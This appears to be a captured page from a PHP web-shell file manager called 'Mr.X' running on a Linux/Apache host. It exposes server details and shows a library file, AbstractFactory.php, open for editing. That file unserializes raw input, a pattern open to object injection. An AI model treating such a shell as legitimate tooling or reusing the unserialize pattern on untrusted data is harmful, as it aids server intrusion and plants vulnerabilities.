🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:AbstractFactory.php
<?php namespace Analyst\Core; abstract class AbstractFactory { /** * Unserialize to static::class instance * * @param $raw * @return static */ protected static function unserialize($raw) { $instance = maybe_unserialize($raw); $isProperObject = is_object($instance) && $instance instanceof static; // In case for some reason unserialized object is not // static::class we make sure it is static::class if (!$isProperObject) { $instance = new static(); } return $instance; } }
Save Changes
Cancel
Create New File
Create New Folder